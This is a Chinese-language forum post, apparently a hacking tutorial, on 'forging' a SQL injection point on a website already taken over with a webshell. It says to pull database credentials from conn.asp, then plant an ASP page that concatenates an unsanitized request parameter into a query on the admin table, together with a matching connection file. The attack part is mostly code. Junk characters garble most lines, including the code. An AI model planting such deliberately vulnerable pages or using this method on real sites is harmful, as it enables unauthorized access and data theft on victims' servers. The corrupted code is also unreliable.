首先你要拿了一个webshell,这样你找到连接数据库的文件,大多都是conn.asp这个文件里面有mssql的用户和密码,你要找到用户名、密码、数据库所在的IP,然后连接上去,至于连接大家应该都会,找到网站管理员的表。因为我测试的时候是用管理员的表,我朋友说任何表名都可以,只要这个表存在,代码如下:
) N3 b1 v, C7 k. r6 e0 d- dASP/Visual Basic代码
1 A: P$ y$ ]: v* }<!--#include file="xx.asp"--> " t, `$ I+ A; Q* O3 ?. n
<% 2 H, n( Q v1 e% A
set rs=server.createobject("ADODB.recordset") & @- t- z6 T- t3 }/ x
id = request("id")
7 Z% M: u# j0 D% F9 @strSQL = "select * from admin where id=" & id ' K3 B7 a7 M! ~; @
rs.open strSQL,conn,1,3 + o! z; Q& S: ?$ R
rs.close
# K7 f8 f9 U- S* J%> % F: M" f2 h7 ?$ k0 B7 g6 N
把strSQL = "select * from admin where id=" & id 这句话里面的admin换成要伪造的表名,注意必须存在。你可以连接上去看下表名就是了!这里假设的是admin是表名!这个文件名随便保存!# `" \- L9 s9 r5 p; ]9 ~1 a
然后就要构造一个连接数据库的文件了,代码如下:" X K6 u$ z0 \
ASP/Visual Basic代码- H$ p% S$ J1 Y) O
<%
% u( r' ]% q. Z5 ^" ]- ~( F+ S7 ^. ystrSQLServerName = "000.000.000.000" '服务器名称或地址
" X0 F o" ?4 r3 A* |strSQLDBUserName = "sqlname" '数据库帐号 ! y/ c# Q5 Z& m1 Q7 v' I
strSQLDBPassword = "sqlpass" '数据库密码
( |; A. O8 ~4 @3 [1 fstrSQLDBName = "sqldataname" '数据库名称 & r9 w) v% r0 l6 U# a* V, p) L
Set conn = Server.CreateObject("ADODB.Connection") , F3 W# J# j6 \6 D1 Z# G. j
strCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName & ";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" & strSQLDBName & ";"
7 y. G$ U# `0 O- k" P, \conn.open strCon
9 R9 J! K& V* a5 f%> . {6 v2 ?7 u/ e
这里应该都会了,就不罗嗦了,不过注意的是保存的文件名要和include调用的名字一样。就这样,正常情况下,就OK了,伪造成功6 ^0 \7 P g w
|